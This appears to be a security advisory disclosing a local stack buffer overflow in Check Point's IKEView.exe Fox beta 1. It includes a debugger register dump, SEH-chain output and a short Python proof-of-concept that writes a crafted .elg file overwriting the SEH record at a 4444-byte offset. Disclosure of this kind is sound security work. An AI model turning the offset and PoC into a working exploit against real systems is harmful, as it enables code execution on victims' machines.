IKEView.exe Fox Beta 1 Buffer Overflow

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-CP_IKEVIEW-0911.txt  
  
  
  
Vendor:  
================================  
www.checkpoint.com  
  
  
  
Product:  
================================  
IKEView.exe Fox beta 1  
  
IKEVIew.EXE is used to inspect - internet private key exchanges on the  
Firewall  
phase(1 & 2) packets being exchanged with switches and gateways.  
  
  
  
Vulnerability Type:  
======================  
Stack Buffer Overflow  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
IKEView.exe is vulnerable to local stack based buffer overflow when parsing  
an malicious (internet key exchange) ".elg" file.  
Vulnerability causes nSEH & SEH pointer overwrites at 4448 bytes after  
IKEView parses our malicious file, which may result then  
result in arbitrary attacker supplied code execution.  
  
  
quick GDB register dump:  
------------------------  
  
EAX 00000000  
ECX 41414141  
EDX 7774B4AD ntdll.7774B4AD  
EBX 00000000  
ESP 0018E0E0  
EBP 0018E100  
ESI 00000000  
EDI 00000000  
EIP 41414141  
C 0 ES 002B 32bit 0(FFFFFFFF)  
P 1 CS 0023 32bit 0(FFFFFFFF)  
A 0 SS 002B 32bit 0(FFFFFFFF)  
Z 1 DS 002B 32bit 0(FFFFFFFF)  
S 0 FS 0053 32bit 7EFDD000(FFF)  
T 0 GS 002B 32bit 0(FFFFFFFF)  
D 0  
O 0 LastErr ERROR_SUCCESS (00000000)  
  
-----------SEH Chain---------  
  
0:000> !exchain  
0018f870: 42424242  
Invalid exception stack at 41414141  
0:000>  
0018f870: 42424242  
Invalid exception stack at 41414141  
0:000>  
  
0018F868 |02004AE0 àJ. ASCII "File loaded in 08 minutes, 01 seconds."  
0018F86C |41414141 AAAA  
0018F870 |41414141 AAAA Pointer to next SEH record  
0018F874 |42424242 BBBB SE handler  
  
  
Quick Buffer Overflow POC :  
===========================  
  
  
1) Below python file to create POC save as .py it will generate POC file,  
open in IKEView.exe and KABOOOOOOOOOOOOOOOOOOOOM!  
  
seh="B"*4 #<----------will overwrite SEH with bunch of 42's HEX for 'B'  
ASCII char.  
  
file="C:\\IKEView-buffer-overflow.elg"  
x=open(file,"w")  
payload="A"*4444+seh  
x.write(payload)  
x.close()  
  
print "\n=======================================\n"  
print " IKEView-buffer-overflow.elg file created\n"  
print " hyp3rlinx ..."  
print "=========================================\n"  
  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
  
Severity Level:  
=========================================================  
High  
  
  
  
Description:  
==========================================================  
  
  
Vulnerable Product: [+] IKEView.exe Fox beta 1  
  
  
Vulnerable File Type: [+] .elg  
  
  
Affected Area(s): [+] Local OS  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`